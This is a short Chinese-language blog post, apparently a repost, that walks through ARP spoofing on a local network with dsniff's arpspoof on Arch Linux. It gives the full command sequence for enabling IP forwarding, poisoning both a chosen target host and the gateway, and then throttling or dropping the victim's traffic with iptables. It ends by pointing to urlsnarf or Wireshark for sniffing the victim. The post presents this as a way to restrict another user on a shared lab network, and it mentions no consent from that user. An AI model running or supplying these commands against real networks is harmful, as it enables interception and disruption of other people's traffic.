windows下有p2p终结者,linux下咱有dsniff,介绍:here,其的用途之一就是做arp欺骗,具体命令是arpspoof.
作用:
arpspoof将局域网内的目标主机或者是所有主机的发送数据包通过ARP欺骗来重指向。
在使用交换机的局域网环境下是一个非常有效的方法来嗅探数据:)
注意:kernel的ip转发必须要提前打开
使用:
arpspoof [-i interface] [-t target] host
-i 用来指示要使用的网卡接口,一般是eth0,
-t 用来指示要欺骗的目标主机,如果不表明则默认为局域网内部的所有主机
host 你要截取数据包的主机,通常是网关
具体使用:
环境archlinux ,要限制的ip为192.168.0.29,本机ip为192.168.0.24,实验室网管为192.168.0.1
1 安装
sudo pacman -S dsniff
2 开启内核转发和欺骗
#echo 1 > /proc/sys/net/ipv4/ip_forward
#欺骗192.168.0.29,告诉这台机器网关192.168.0.1的MAC地址是自己(192.168.0.24)。
$sudo arpspoof -i eth0 -t 192.168.0.29 192.168.0.1
#欺骗192.168.0.1,告诉网关192.168.0.29的MAC地址是自己(192.168.0.24)
$sudo arpspoof -i eth0 -t 192.168.0.1 192.168.0.29
192.168.0.29以为192.168.0.24就是192.168.0.1,192.168.0.1以为192.168.0.24就是192.168.0.29
3 利用iptables开始限速
#192.168.0.29被限制每秒只能传输3个数据包了
$sudo iptables -A FORWARD -s 192.168.0.29 -m limit --limit 3/s -j ACCEPT
$sudo iptables -A FORWARD -d 192.168.0.29 -m limit --limit 3/s -j ACCEPT
$sudo iptables -A FORWARD -s 192.168.0.29 -j DROP
$sudo iptables -A FORWARD -d 192.168.0.29 -j DROP
4 当然,如果你想干坏事的话可以用 urlsnarf 或者wireshark之类的。。。。恩
原文 http://www.freetstar.com/linux-limit-p2p-ing-host
很不错的博客,支持